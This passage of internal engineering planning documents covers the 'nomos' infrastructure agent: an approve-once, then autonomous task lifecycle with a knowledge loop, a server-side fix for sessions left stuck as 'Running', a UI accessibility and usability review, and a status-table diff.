│ (outcome:
└──────────────→ failed success/
failure/
partial)
```
- **planning**: agent calls `get_entity_knowledge` on the target(s) first (prior
learnings), then `set_goal` + `propose_plan`.
- **awaiting_approval**: the plan is the single approval gate. Operator approves
→ opens the assent window (existing) → **executing**.
- **executing**: steps flip pending→running→done via `update_plan_step` and the
execution→step auto-close (below); the agent runs autonomously
(auto-continuation) with no per-step re-approval.
- **awaiting_input**: only when the agent hits a real decision → `ask_operator`;
answering resumes execution.
- **done/failed**: agent sets `outcome` + `summary` and deposits knowledge.
## Single approval → autonomous execution
Already the behaviour of the assent window + auto-continuation. This plan makes
the **approved object** a structured plan rather than an individual command:
approving the plan (one click / one "go ahead") authorizes every
read-only + config-mutation step in it. Destructive steps still require typed
confirmation *unless* named in the approved plan (the existing pre-authorized
destructive-step rule). Nothing new in the execution engine — we're giving it a
legible unit to approve and to show progress against.
## The knowledge loop (capture → link → retrieve)
**Capture (task end).** On `done`/`failed`, the agent (nudged by SOUL, enforced
by a server-side fallback) calls `upsert_knowledge` with the concrete learning —
what worked, what didn't, the gotcha — and we link the resulting knowledge
doc-entity to:
- the **entities involved** (already supported via `about`), and
- the **task entity** (`agent_sessions.entity_id`), via a new
`outcome_of` / `produced_by` relationship, tagged
`{"outcome":"success|failure"}`.
**Link.** Involved entities are captured cheaply: every `entity.touched` (below)
records a `relationships` edge `task —involved→ entity`. So a task's entity
neighborhood *is* its involved-entity set — queryable with the existing
`get_relations`.
**Retrieve (task start).** At **planning**, before proposing, the agent pulls
prior knowledge for the target entities (`get_entity_knowledge`) — which now
surfaces both successful and failed prior tasks (the outcome tag lets it weight
"last time `apt install docker.io` failed on Debian, used get.docker.com
instead"). This is the compounding: each task's outcome becomes the next task's
prior. SOUL makes this the first planning move.
## UI
### Task board (replaces the raw session rail / empty chat state)
[Sessions.svelte](../../web/src/pages/Sessions.svelte) /
[SessionRail.svelte](../../web/src/lib/components/SessionRail.svelte) become a
**board of task cards**. Each card:
- goal as the title, one-line `summary`,
- a **status pill** (running ◐ / awaiting you / done ✓ / failed ✗) with the
step progress (`4/6`),
- outcome color on completion, knowledge-count badge (♦ 2 learned),
- click → open the task.
Grouped/filterable by status (Running, Needs input, Done, Failed). "New task"
replaces "new chat" — the empty state asks for a goal.
### Task detail = conversation + live context sidebar
Center column: the existing chat transcript (tools, thinking, questions inline)
— unchanged rendering ([Chat.svelte](../../web/src/pages/Chat.svelte)).
Right sidebar becomes `TaskContextPanel.svelte`, populated **in real time**, top
to bottom:
1. **GoalHeader** — goal + status pill + outcome (once done); editable goal.
2. **PlanProgress** — ordered steps, live status icons, `4/6` bar, click a step
→ scroll chat to its tool call / open its execution output.
3. **OperatorQuestion** — pinned structured card when a question is open: prompt,
`why`, context-entity chips (→ EntitySheet), option buttons or free-text.
Answering POSTs the answer and resumes the agent. Same card also renders
inline in the transcript at the point it was raised. (The operator's
"structured component with relevant context.")
4. **LiveEntityPanel** — the [SessionGraph](../../web/src/lib/components/SessionGraph.svelte)
upgraded from passive to live: `entity.touched` → the node **pulses** +
"now touching `lxc:foo`"; `health.changed` → recolor + transient
`healthy→degraded` diff badge.
5. **Outcome & Knowledge** — on completion: success/failure banner, the
`summary`, and the knowledge notes recorded (links to the knowledge
entities), i.e. the [SessionDigest](../../web/src/lib/components/SessionDigest.svelte)
evolved into a task-outcome card.
## Real-time event contract (global `/events/stream`)
The panel is driven by the **always-on** [events stream](../../web/src/lib/stores/events.ts),
not the per-turn chat SSE — so it stays live during server-side
auto-continuation (when no chat turn is open) and survives a tab reload. New
`type`s, each carrying `correlation_id = session_id`:
| type | data |
| ---- | ---- |
| `task.status` | `{ status, outcome?, summary? }` |
| `goal.set` | `{ goal }` |
| `plan.proposed` | `{ steps:[{seq,title,detail,target_slug}] }` |
| `plan.step.started` / `plan.step.finished` | `{ step_id, seq, status, execution_id? }` |
| `question.raised` / `question.answered` | `{ question_id, prompt?, context?, answer? }` |
| `entity.touched` | `{ slug, tool }` |
| `knowledge.recorded` | `{ title, about, outcome }` |
`entity.touched` is emitted from the `withActivityLogging` wrapper
([server.go:832](../../internal/mcp/server.go)) — it wraps every tool call, so
touched-entity tracking needs **zero agent changes**; it also writes the
`task —involved→ entity` relationship. `health.changed` already exists.
## Agent surface (new MCP tools + SOUL)
Thin declarations that write the tables/relationships and publish the event
in-process (event and row commit together):
- `set_goal(goal)`
- `propose_plan(steps:[{title,detail?,target_slug?}])`
- `update_plan_step(seq,status,execution_id?)` — plus the execution's terminal
status **auto-closes** its linked step where
[phase3.go](../../internal/httpapi/phase3.go) finalizes executions (belt and
suspenders).
- `ask_operator(prompt,options?,context_entities?,why?)` — creates the question,
status→`awaiting_input`, ends the turn; answer resumes via the existing
assent/continuation path.
- `complete_task(outcome,summary)` — sets outcome/summary, status→done/failed;
server enforces "a completed task must have deposited ≥1 knowledge note"
(fallback: auto-summarize into one if the model forgot).
SOUL: "Every task has a goal. **First**, read prior knowledge for the target
entities (`get_entity_knowledge`) — learn from past tasks, successful or not.
Then `set_goal` + `propose_plan`. Execute autonomously after approval, marking
steps. Ask via `ask_operator` only for real decisions. When the goal is
verified, `complete_task` with the outcome and record what you learned."
## Implementation order
1. **Migration `018` + task-entity creation** (a `task` entity per session) +
store methods. Sessions gain goal/status/outcome/summary; no behaviour change.
2. **`entity.touched` + `task —involved→ entity`** from `withActivityLogging`
cheapest live win; graph starts pulsing, involved-set is captured for free.
3. **Knowledge loop close**: `complete_task` + retrieval-at-planning in SOUL +
outcome-tagged `outcome_of` link. Makes tasks compound.
4. **`set_goal`/`propose_plan`/`update_plan_step`** + execution→step auto-close.
5. **`ask_operator`** end-to-end (tool → question → pinned card inline+panel →
answer resumes).
6. **UI: TaskContextPanel** (GoalHeader, PlanProgress, OperatorQuestion,
LiveEntityPanel, Outcome/Knowledge) + `workspace.ts` store + REST hydration
(`GET /sessions/{id}/{plan,questions}`).
7. **UI: Task board** — session rail/list → status-card board, "new task" flow.
Each step ships value: 2 = live entity awareness; 3 = compounding knowledge;
4-5 = plan progress + interactive questions; 6-7 = the full task surface.
## Verification
- Run "deploy TypeType as an LXC on strong" as a task. Expect: at planning the
agent reads prior knowledge for `host:strong`; `propose_plan` renders steps;
operator approves **once**; steps flip live; the touched node pulses; a
mid-flow ambiguity surfaces as an `ask_operator` card answered in the panel;
on success `complete_task` sets outcome=success, deposits a knowledge note
linked to `lxc:typetype`, `host:strong`, and the task entity.
- Start a **second** task touching `host:strong`; confirm the first task's
knowledge surfaces at planning (`get_entity_knowledge`) — the compounding loop.
- Reload the tab mid-execution → panel rehydrates from REST and keeps updating
from the global stream (proves it isn't chat-SSE-bound).
- Board shows the task moving Running → Done with the right outcome color and
knowledge badge. `SELECT status, outcome FROM agent_sessions` shows a real
lifecycle, not all `active`.
- `get_relations` on the task entity returns its involved entities + produced
knowledge.
## Open questions
- **One task per session vs sequential tasks in a chat** — v1: one task = one
session (matches "each chat is a goal"). A new goal starts a new task.
Multi-task threads are a later extension.
- **Failure knowledge weighting** — do we just tag `outcome:failure` and let the
model judge, or add explicit "avoid this" surfacing at planning? Lean tag-only
first; revisit if the agent repeats known-failed approaches.
- **`complete_task` enforcement** — hard-require a knowledge note (block
completion) or soft (auto-generate a stub)? Lean soft, so a trivial "give me
status" task isn't forced to invent a learning.
- **Board vs thread** for very short tasks ("key status of X") — a status query
is a degenerate task (no plan, instant done). Render it as a lightweight card
that never shows an approval, so the board isn't cluttered with heavyweight
chrome for one-shot questions.

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# Task completion safety net: every live task is stuck "Running"
Status: Done — 2026-07-12. Fixes 1-3 implemented, built, tested
(`go build ./...`, `go test ./cmd/nomos/...`), committed (`3b9c75f`),
deployed, and verified live (see Verification below — fresh trivial Q&A
sessions now reach `done` immediately; a goal-bearing session that went
idle was correctly nudged and auto-resolved by the existing resume-failure
path). Fix 4 (backfill) was replaced with deletion — see "Fix 4, revised"
below; the original backfill-with-a-fabricated-outcome approach was never
run.
## Scope
Fix the root cause of a production-wide defect found while UI-testing
[`2026-07-11-ui-review-ia-usability.md`](2026-07-11-ui-review-ia-usability.md):
every session on the live task board shows as "Running" forever. Traced
through `cmd/nomos/` and confirmed against the running database — this is
not a frontend bug (the board correctly reflects real `agent_sessions.status`
values). It's an agent-behavior gap: the model almost never calls the
lifecycle tools (`set_goal` / `propose_plan` / `complete_task`) that the
task-board feature (shipped today,
[`done/2026-07-11-goal-oriented-chat-control-panel.md`](2026-07-11-goal-oriented-chat-control-panel.md))
depends on to know a task is finished.
## Evidence
Queried the live nomos API directly (`curl localhost:8092/sessions` and
per-session transcripts) against the running mac-mini stack:
- **50/50 live sessions**: 49 `active`, 1 `planning`. Zero have ever reached
`executing`, `awaiting_input`, `done`, or `failed`.
- Across all 50 sessions: **`set_goal` called once. `propose_plan` called
zero times. `complete_task` called zero times.**
- The dominant pattern (43/50 sessions, 2-message transcripts) is a single
quick exchange: operator asks something narrow ("what's the hostname of
lxc:caddy?"), the model runs one read tool (`run hostname`), answers in
plain text, and the turn ends — no lifecycle tool call at all. This is
exactly the case
[`nomos/SOUL.md:105-109`](../../nomos/SOUL.md#L105) calls out by name
("a trivial read-only task... is a degenerate case... answer it and
`complete_task` with a one-line summary") — the instruction exists and is
explicit, and the model skips it anyway, consistently.
- The one session that *did* call `set_goal` (a fleet health check) did
substantial real research (`get_health_summary`, `get_state_snapshot`,
`get_signal_history`, `list_lxcs`), gave the operator a full structured
answer, and then also just stopped — no `propose_plan`, no
`complete_task`. Status: stuck at `planning` since 2026-07-11T11:35, still
showing "Running" on the board.
This means the board's "N Running / 0 Done / 0 Failed" isn't a fluke or an
edge case — it's the default outcome for essentially every task the system
has ever run. The feature as designed (terminal state is 100% dependent on
the model remembering to call one specific tool) doesn't hold up against
real model behavior, even with an explicit prompt instruction already in
place.
## Where this lives in the code
`cmd/nomos/agent.go`'s `chatWith` has exactly one place a turn ends with a
plain-text answer and no tool calls:
```go
// agent.go:359-368
if len(msg.ToolCalls) == 0 {
emit(agentEvent{Type: "text", Data: msg.Content, SessionID: sessionID})
emit(agentEvent{Type: "done", ...})
return
}
```
This is reached for the trivial-Q&A case (a turn that made zero or a few
read-only tool calls this iteration, then answered in text) and is where
43/50 of the stuck sessions are produced. There's a second, rarer exit at
the step-limit fallback (`agent.go:487-494`, `finalSummary`) with the same
gap.
Neither exit currently checks whether the session ever reached a terminal
state — the turn just ends, and `agent_sessions.status` is left wherever it
was (usually `active`, its creation-time default,
[`store.go:71,84`](../../cmd/nomos/store.go#L71)).
## Design
Two different failure shapes need two different fixes — collapsing them
into one heuristic would either auto-close genuinely in-progress structured
tasks or fail to catch the trivial-Q&A majority.
**1. Trivial/no-lifecycle-tool sessions (the 43/50 case) — auto-complete
inline, same turn.**
If a turn ends with a plain-text response (`len(msg.ToolCalls) == 0`, the
existing exit at `agent.go:359`) AND this session has never called
`set_goal` in its history, that's strong evidence this was never meant to
be a structured multi-step task — it's a one-shot question that got
answered. Call `store.completeTask` server-side right there, before the
`return`, with `outcome="success"` and a summary derived from the response
text (first ~120 chars, same truncation pattern
`buildContinuationNote` already uses at
[`continue.go:203-205`](../../cmd/nomos/continue.go#L203)). No LLM call needed
— this is a mechanical default, not a judgment call, matching the "trivial
task" case SOUL.md already describes.
If the session *has* called `set_goal` (meaning the model explicitly framed
this as a task, e.g. the fleet-health-check session), auto-completing on
the very next plain-text turn is riskier — the model may reasonably expect
to be asked something next. Skip the inline auto-complete for these; case 2
covers them.
**2. Structured (goal/plan set) sessions that stall — idle sweep, not
inline.**
Extend the existing `runContinuationWorker` ticker
([`continue.go:41-57`](../../cmd/nomos/continue.go#L41), already polling every
4s for a different purpose) with a second, coarser sweep — e.g. every 5
minutes — that finds sessions where:
- `status` is `active`, `planning`, or `executing` (not already terminal or
`awaiting_input`, which has its own resolution path), AND
- `set_goal` was called (this is a real task, not case 1), AND
- `last_active_at` is older than some idle threshold (start with 15
minutes — long enough that it's not still mid-turn, short enough that the
board doesn't lie for hours).
First idle hit: inject a system note next time nothing else touches the
session ("[System: this task has been idle for N minutes with no
`complete_task` call. If the goal is done, call it now with a summary. If
you're genuinely still working, ignore this.]") the same way
`buildContinuationNote` already injects notes into resumed sessions — reuse
`resumeSession`'s live-persist pattern
([`continue.go:106-196`](../../cmd/nomos/continue.go#L106)) so the nudge and
the model's response show up in the transcript, not silently.
If a second idle sweep finds the same session still not completed (i.e.
the nudge didn't take), auto-complete it directly with
`outcome="partial"` and a summary noting it was auto-closed after an
unanswered nudge — same reasoning as `resumeSession`'s existing
"give the task a real, operator-visible terminal state instead of leaving
it silently stuck forever" logic at
[`continue.go:179-193`](../../cmd/nomos/continue.go#L179), which already does
exactly this for a different failure mode (a resume that produces no
response). This is the same architectural pattern, applied to a session
that produces responses but never a terminal tool call.
**3. Leave `ask_operator` and gated-execution flows alone.** Those already
have real terminal signals (`awaiting_input` status, the continuation
worker's assent-window logic) — this plan only targets sessions that fall
through with no lifecycle signal at all.
## Fix plan
1. **Inline safety net (case 1)** — in `chatWith`'s plain-text exit
(`agent.go:359`), check `set_goal` was never called for this session
(cheap: track a bool while replaying `history` in the same function, no
extra query — the loop at `agent.go:209-226` already walks every
persisted message and could flag `sawSetGoal` while extracting tool
calls). If not sawSetGoal, call `completeTask` before returning.
2. **Idle sweep (case 2)** — new ticker in `continue.go` (or extend the
existing one with a slower secondary tick), a new store query
(`store.staleGoalSessions(ctx, idleThreshold)` mirroring
`pendingContinuations`'s shape), and reuse of `resumeSession`'s
live-persist injection for the nudge.
3. **Second-strike auto-close (case 2, continued)** — track nudge count (a
new `agent_sessions` column, e.g. `completion_nudges int default 0`, or
reuse the existing `summary`/attributes json instead of a schema change
if that's preferable) so the sweep can tell "never nudged" from "nudged
once already, still stuck."
4. **Backfill** — the 50 already-stuck live sessions won't get fixed by new
code alone (they're historical). One-time cleanup: run the same
case-1/case-2 classification against existing rows once the code ships,
so the board doesn't show 50 permanently-orphaned "Running" cards on top
of new correctly-terminating ones. This should be a script, not a manual
UPDATE — the classification logic will already exist in Go.
## Fix 4, revised: deletion instead of backfill
The plan as written proposed backfilling the 50 already-stuck sessions with
a mechanically-assigned outcome (`success` for case 1, `partial` for case
2). When it came time to execute that, the operator raised a better
question: these were overwhelmingly one-off test/smoke-test sessions
("hi", "what's the hostname of lxc:caddy?") with no lasting value —
assigning them a fabricated `success` outcome would make the task board
lie in the opposite direction (claiming verified success on things nobody
verified). The operator's call: delete them instead of backfilling a
guessed outcome, with one condition — don't lose any recorded knowledge.
Before deleting anything, verified directly against the database (not
assumed from reading the code):
- Zero `documents` relationship edges exist linking any of the candidate
sessions to any `knowledge_entities` row.
- Zero `upsert_knowledge` calls appear anywhere in the candidate sessions'
transcripts.
- Zero `knowledge_entities` rows exist system-wide mentioning the one
topic (`typetype`) the operator specifically asked to preserve.
`deleteSession` (`store.go:293`, already the live code path behind the
UI's "Delete task" button — reused as-is, not reimplemented) removes the
session, its messages, its own task entity, and that entity's relationship
edges — it never touches `knowledge_entities` rows or entities the task
merely referenced (e.g. `lxc:typetype` itself), only the provenance edges
back to the now-deleted task. Given the verification above, this was safe:
there was nothing to preserve because nothing had ever been recorded.
Executed in two batches, both via the same `DELETE /sessions/:id` route:
- **47 sessions** — the original candidate set from `curl
localhost:8092/sessions`, all non-`done`/`failed` at the time.
- **6 more sessions** — found *after* the first batch, when they surfaced
on the task board: `listSessions` (`store.go:193`) hardcodes
`ORDER BY last_active_at DESC LIMIT 50` with no pagination, so the
original audit's "50 sessions total" was actually "the 50 most
recently active" — it silently excluded 6 older stuck sessions from
2026-07-08 (predating the task-board feature entirely, same trivial
"hi"/smoke-test pattern). Worth knowing about `listSessions`'s cap for
any future audit of this table — a `count(*)` query directly against
the database is the only way to get a true total.
Final state: `agent_sessions` holds exactly 3 rows — the two `done` and
one `failed` sessions produced during live verification of fixes 1-3.
## Implementation order
1. Fix 1 (inline safety net) first — it's the highest-leverage, lowest-risk
change (self-contained, no schema change, covers 43/50 of the evidence).
2. Fix 2+3 (idle sweep + second-strike) — needs the schema decision
(new column vs. attribute) settled first; smaller blast radius than 1
but touches the ticker/worker machinery, deserves its own review pass.
3. Fix 4 (backfill) last, once 1-3 are deployed and verified live — running
it before the code ships would just recreate the same gap for new
sessions created in between.
## Verification
- After fix 1: start a few trivial one-shot chats against the live agent
(`hostname`-style questions), confirm each session reaches `status=done`
immediately after the answer, via `curl localhost:8092/sessions/:id` or
the task board.
- After fix 2+3: manually let a goal-bearing session go idle past the
threshold (or lower the threshold for a local test run), confirm the
nudge appears in the transcript, then confirm second-strike auto-close
fires if the nudge is ignored.
- Re-run the same audit query used to find this bug
(`curl localhost:8092/sessions` → status histogram) a day after deploy;
the "stuck active/planning forever" count should track only genuinely
in-flight tasks, not accumulate.
## Open questions
- **Outcome for case-1 auto-complete**: always `"success"`, or worth a
cheap heuristic (e.g. scan the final text for obvious failure language)?
Recommend starting with always-`"success"` — SOUL.md's own trivial-task
guidance doesn't distinguish, and a wrong "success" on a genuinely-failed
one-shot lookup is low-stakes (the transcript still shows the real
answer; nothing acts on the outcome besides the board's color).
- **Idle threshold (15 min) and nudge-to-close gap**: arbitrary starting
points, not measured against real task durations — worth revisiting after
a week of the new sessions' real timing data exists.
- **Schema change for nudge tracking**: a new column is simpler to query
than packing state into existing JSON, but adds a migration — worth
confirming that's acceptable before starting fix 2+3 (this plan defers
that call to whoever implements it, per Implementation order above).

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# UI review: information architecture, usability, and best practices
Status: Done — 2026-07-11. All fix-plan items implemented and verified live
except C2 (a11y lint enforcement — no ESLint/svelte-check is configured in
`web/` at all, so there's nothing to promote from warn to error; flagged
below instead of silently adding lint infra). Verification also surfaced an
unrelated pre-existing bug (Knowledge page search results never render) —
spun off as a separate task, not fixed here.
## Scope
Systematic review of `web/src/` (Svelte 5 + shadcn-svelte + Tailwind v4
control-room UI): all 13 pages, the 11 shared components, the sidebar/routing
shell (`App.svelte`), and cross-cutting patterns (filtering, loading/empty
states, live-event wiring, accessibility). Read in full, not sampled.
Grounded in what's actually in the code — no speculative "best practice"
items without a concrete file:line instance.
Not implementation. Findings and a proposed fix plan only, mirroring
[`2026-07-11-nomos-agent-code-review.md`](2026-07-11-nomos-agent-code-review.md)'s
structure — implement on a later "proceed."
## Findings
### A. Information architecture
**A1. Entity detail has two competing UI patterns for the same content.**
[`Entities.svelte:16-19,155`](../../web/src/pages/Entities.svelte) opens entity
detail as an in-page `EntitySheet` slide-over (no URL change, no sidebar
state change). [`Knowledge.svelte:57-59`](../../web/src/pages/Knowledge.svelte)
and [`Graph.svelte:464`](../../web/src/pages/Graph.svelte) instead navigate via
`location.hash = '#/entity/' + slug`, which `App.svelte`'s router resolves to
a full-page `EntityDetail` route — but `'entity'` isn't in `navItems`
([`App.svelte:68-79`](../../web/src/App.svelte)), so landing there leaves the
sidebar with nothing highlighted and the header showing the raw slug instead
of a section name. Same underlying view
(`EntityDetailContent.svelte`), three different entry points, two
different navigation models, one of which produces an orphaned page state.
A user who reaches an entity via Knowledge or Graph has no way back to
"where they were" via the sidebar — only browser back.
**A2. Two chat entry points with no visual link between them.**
The sidebar's "Tasks" section (board → `Chat.svelte` detail,
`isActive={page === 'tasks' || page === 'chat'}`,
[`App.svelte:127`](../../web/src/App.svelte)) and the footer's "Chat drawer"
button ([`App.svelte:160-163`](../../web/src/App.svelte), opens a `Sheet`
wrapping the same `Chat` component) are both valid, intentional ways to
reach chat — but nothing in the UI explains they're different modes (drawer
= overlay on current page, keeps your place; Tasks = full navigation). A
first-time user has no way to know which one preserves their current page.
Low-severity, but worth a tooltip/label distinction.
**A3. Overview's KPI cards don't drill down.**
[`Overview.svelte`](../../web/src/pages/Overview.svelte) shows "Pending
approvals," "Open signals," and fleet-health counts as static cards. The
header badges for the same data (`approvalsPending`, `openSignals`,
[`App.svelte:185-194`](../../web/src/App.svelte)) ARE clickable and navigate to
Ops/Signals — so the pattern exists in the app, just not on the page whose
entire purpose is summarizing this data. A dashboard card showing a count
that doesn't lead anywhere is a standard drill-down gap.
### B. Usability / interaction consistency
**B1. Table-row click targets lack keyboard/screen-reader support in one
place but not others.**
[`Entities.svelte:117-120`](../../web/src/pages/Entities.svelte) makes an
entire `Table.Row` clickable via a bare `onclick`, with no `role`,
`tabindex`, or `onkeydown` — unreachable and inoperable via keyboard, and
screen readers get no indication the row is interactive. This is a
regression against the codebase's own established pattern: `Tasks.svelte`
wraps its cards in real `<button>` elements
([`Tasks.svelte:172`](../../web/src/pages/Tasks.svelte)), `Events.svelte`'s
correlation-group headers are real `<button>`s
([`Events.svelte:110-114`](../../web/src/pages/Events.svelte)), and
`Graph.svelte`'s SVG nodes explicitly add `role="button"`, `tabindex="0"`,
and `onkeydown` ([`Graph.svelte:416-421`](../../web/src/pages/Graph.svelte)).
Entities is the outlier.
**B2. Filter inputs are inconsistently "live" vs. "apply-on-blur," with no
visual cue either way.**
`Entities.svelte`'s slug/name filter and `Graph.svelte`'s search box filter
as-you-type (bound to a `$derived`). But `Ops.svelte` (implicitly, no text
filters), `Audit.svelte`'s action/entity inputs
([`Audit.svelte:71-72`](../../web/src/pages/Audit.svelte)),
`Agent.svelte`'s agent_id input
([`Agent.svelte:59`](../../web/src/pages/Agent.svelte)), and `Events.svelte`'s
type/severity inputs ([`Events.svelte:92-93`](../../web/src/pages/Events.svelte))
all use `onchange`, which only fires on blur — a user typing a filter value
and watching the table sees nothing happen until they click or tab away, and
nothing in the UI (placeholder text, a debounce spinner, an "Enter to
apply" hint) tells them why. Three different pages share the same
`onchange`-only pattern, so it's a systemic choice, not an oversight — but
it reads as broken on first use.
**B3. Entity filter is case-sensitive; nothing else in the app is.**
[`Entities.svelte:50`](../../web/src/pages/Entities.svelte) matches with raw
`.includes()`, no `.toLowerCase()`. `Graph.svelte`'s equivalent search
normalizes both sides
([`Graph.svelte:175-176`](../../web/src/pages/Graph.svelte):
`n.slug.toLowerCase().includes(q)`). Slugs are lowercase by convention today,
which is why this hasn't bitten anyone yet, but entity *names* are
free text and can be mixed-case — a name filter that silently returns zero
results for a correctly-spelled but wrong-case query is a real trap, and the
one-line fix already has a working reference implementation three files
away.
**B4. `{@html}` on server-provided search snippets.**
[`Knowledge.svelte:120-121`](../../web/src/pages/Knowledge.svelte) renders
`hit.snippet` with `{@html}`, justified by a comment claiming the backend's
`ts_headline` output is pre-sanitized. That's true for Postgres
`ts_headline` today (it only wraps matched terms in `<b>` from a
parameterized query), but there's no client-side enforcement of that
invariant — if the search query or snippet source ever changes upstream,
this becomes a stored-XSS vector with no guard at the point of use. Not an
active vulnerability, but a fragile trust boundary worth tightening
defensively (e.g. a tiny allow-list sanitizer) rather than relying on a
comment to hold forever.
### C. Accessibility
**C1. `SessionRail.svelte`'s delete control is a `<span>`, not a button.**
[`SessionRail.svelte:54-64`](../../web/src/lib/components/SessionRail.svelte)
attaches `onclick` to a `<span>` for the per-session delete affordance, with
no `role`, `tabindex`, or keyboard handler — same defect class as B1, on a
destructive action this time (delete a chat session), which makes it a
notch more important: a keyboard-only user cannot delete a session from
this rail at all.
**C2. Same defect, lower stakes, elsewhere.**
Scan for the same "clickable non-interactive element" shape found in B1/C1
should be swept across `web/src/` once — these two are the ones a full read
surfaced, but the pattern (a `<div>`/`<span>` with `onclick` and no
keyboard path) is exactly the kind of thing that creeps back in per-PR
without a lint rule catching it. Worth checking whether
`eslint-plugin-svelte`'s `a11y_click_events_have_key_events` /
`a11y_no_static_element_interactions` rules are enabled and enforced in CI
(the prior summary noted these exist as warnings, not build failures — that
should be confirmed and possibly promoted to errors as part of implementing
C1/B1).
### D. Visual / component consistency
**D1. One page bypasses the shared `Button` component.**
`Agent.svelte`'s "Refresh" control is a bare
`<button class="rounded-md border px-3 py-1.5 text-xs">`
([`Agent.svelte:73`](../../web/src/pages/Agent.svelte)) instead of
`Button` (`variant="outline"`), which every other page's refresh/action
buttons use (`Ops.svelte`, `Signals.svelte`, `Audit.svelte`, `Events.svelte`
all use `<Button variant="outline">`). Cosmetically near-identical today
(both render as a bordered pill) but it'll drift the moment the design
tokens on `Button` change, since this one doesn't inherit them.
**D2. `formatEventLabel` is a needless indirection.**
[`Overview.svelte`](../../web/src/pages/Overview.svelte)'s
`formatEventLabel(ev)` returns `ev.type` verbatim — a one-line wrapper with
no formatting logic. Trivial, but noted since it reads as if formatting
were intended and never finished.
### E. Loading / empty states
No real findings — this is a strength worth naming rather than "fixing."
Every page reviewed (Overview, Entities, Ops, Signals, Events, Agent, Audit,
Knowledge, Learning, Graph, Tasks) has both a loading state (skeletons or an
implicit empty table) and an explicit, page-appropriate empty-state message
(not a generic "no data"). That consistency is worth preserving as new pages
get added — call it out in the PR template or a short frontend README note
rather than leaving it as tribal knowledge.
## Fix plan
Priority order, grounded in user impact:
1. **C1 (SessionRail delete button)** — highest priority: it's a destructive
action that's currently unreachable by keyboard at all. Swap the `<span>`
for a real `<button>` with `aria-label="Delete session"`, matching the
pattern `Tasks.svelte` already uses for its own delete affordance
([`Tasks.svelte:195-207`](../../web/src/pages/Tasks.svelte) — same feature,
done correctly, in the same codebase).
2. **B1 (Entities row click)** — wrap row content in a `<button>` (or add
`role="button" tabindex="0" onkeydown`) matching `Tasks.svelte` /
`Events.svelte`'s existing pattern.
3. **B3 (case-sensitive filter)** — one-line `.toLowerCase()` fix on both
sides of the `.includes()` calls in `Entities.svelte:50`.
4. **A1 (dual entity-detail navigation)** — pick one pattern. Recommend
standardizing on the `EntitySheet` (in-page, no navigation loss) and
changing `Knowledge.svelte`/`Graph.svelte`'s "View entity detail" actions
to open the sheet directly instead of hash-navigating to the orphaned
`#/entity/:slug` route. If the full-page route is kept for deep-linking
(a legitimate reason to keep it), then at minimum highlight the
originating section in the sidebar and give the header a real label
instead of the bare slug.
5. **A3 (Overview KPI cards not clickable)** — wrap the approvals/signals
cards in the same click-to-navigate pattern already used by the header
badges.
6. **D1 (Agent.svelte bare button)** — swap for `<Button variant="outline">`.
7. **B2 (inconsistent live-vs-blur filtering)** — standardize on
`oninput`-driven, debounced (~300ms) filtering across Audit/Agent/Events,
matching the already-live feel of Entities/Graph. Lower priority than the
above since it's a rough edge, not a defect.
8. **B4 (`{@html}` trust boundary)** — add a minimal sanitize step (strip
everything but the `<b>` tags `ts_headline` emits) at the point of
render, so the safety property doesn't depend on the backend never
changing.
9. **A2 (chat drawer vs. Tasks unlabeled)** and **D2 (`formatEventLabel`)**
cosmetic, do opportunistically or skip.
10. **C2 (a11y lint enforcement)** — checked: `web/` has no ESLint config and
no `lint`/`check` npm script at all (confirmed via `package.json` and
directory listing). The "a11y warnings" referenced in earlier session
notes were editor/IDE diagnostics, not a CI gate. There's nothing to
promote from warn to error because no lint infrastructure exists —
setting one up is a separate, larger decision (which rules, whether to
also add `svelte-check` for types) that wasn't part of this review's
scope. Not done; flagging for a separate decision rather than silently
bootstrapping tooling.
## Implementation notes (2026-07-11)
- C1, B1, B3, A1, A3, D1, D2, B2, B4, A2 all implemented and verified live
in the browser preview against the running stack (see Verification below).
- A1: standardized on `EntitySheet` per the plan's recommendation —
`Knowledge.svelte` and `Graph.svelte`'s "View entity detail" now open the
sheet instead of hash-navigating to the orphaned `#/entity/:slug` route.
The full-page `EntityDetail` route/component was left in place (not
deleted) as a harmless deep-link fallback — nothing internal navigates to
it anymore, but a bookmarked/shared URL still resolves.
- B4: used the `dompurify` package, already a `dependencies` entry in
`web/package.json` (unused until now) — no new dependency added.
- B2: added a small `debounce()` helper to `web/src/lib/utils.ts` and
switched Audit/Agent/Events' filter inputs from `onchange` (blur-only) to
debounced `oninput`.
- **Found during verification, not in the original fix list:** the
Knowledge page's search never actually renders results (the "Clear"
button appears, confirming `searched` flips to `true`, but the content
area stays on the "Recently learned" branch) despite the backend request
succeeding with real data. Confirmed via `git diff` this isn't caused by
anything touched here. Spun off as a separate follow-up rather than fixed
in this pass, since it's unrelated to any finding in this review.
## Verification
- After each interaction fix (C1, B1, A3): manual keyboard-only pass (Tab +
Enter/Space, no mouse) through the affected page in the browser preview.
- After B3: type a filter query in Entities with mixed case against a
known-mixed-case entity name; confirm it now matches.
- After A1: confirm both entry paths (Entities row click, Knowledge search
hit's linked entity, Graph node's "View entity detail") land on the same
UI pattern; confirm sidebar/header state is coherent from whichever page
the user started on.
- `cd web && npm run lint && npm run check` clean after all fixes.
- Visual: `npm run build` + spot-check each changed page in the browser
preview (light pass, not full regression).
## Open questions
- **A1's resolution direction** (sheet vs. full-page route) is a genuine
product call, not just a bug fix — needs a decision before implementing,
not just "proceed." Recommendation given above (standardize on the
sheet), but flagging it explicitly since it changes user-visible behavior
for Knowledge and Graph, not just Entities.
- Whether to promote a11y lint rules from warn to error (C2) is a policy
call for the repo, worth a one-line "yes/no" rather than silently doing
it.

View File

@@ -8,12 +8,12 @@ went sideways, open an investigation.
| Date | Title | Status |
| ---- | ----- | ------ |
| 2026-07-05 | [Oikos Prometheus LXC](2026-07-05-oikos-prometheus-lxc.md) | Planned |
| 2026-07-08 | [Plan vs implementation cross-reference](2026-07-08-plan-implementation-audit.md) | Planned |
| 2026-07-08 | [Oikos gaps, broken things, and improvements](2026-07-08-oikos-gaps-and-improvements.md) | Planned |
| 2026-07-05 | [Oikos Prometheus LXC](2026-07-05-oikos-prometheus-lxc.md) | Planned — not started |
| 2026-07-08 | [Oikos gaps, broken things, and improvements](2026-07-08-oikos-gaps-and-improvements.md) | In Progress — security items (B1-B5) and doc drift (E) still open |
| 2026-07-08 | [Control room web UI](2026-07-08-control-room-webui.md) | In Progress |
| 2026-07-08 | [Nomos resident agent (renames Hermes)](2026-07-08-nomos-resident-agent.md) | In Progress |
| 2026-07-09 | [Chat sessions: reliability, cost, and session-management fixes](2026-07-09-chat-sessions-improvements.md) | Planned |
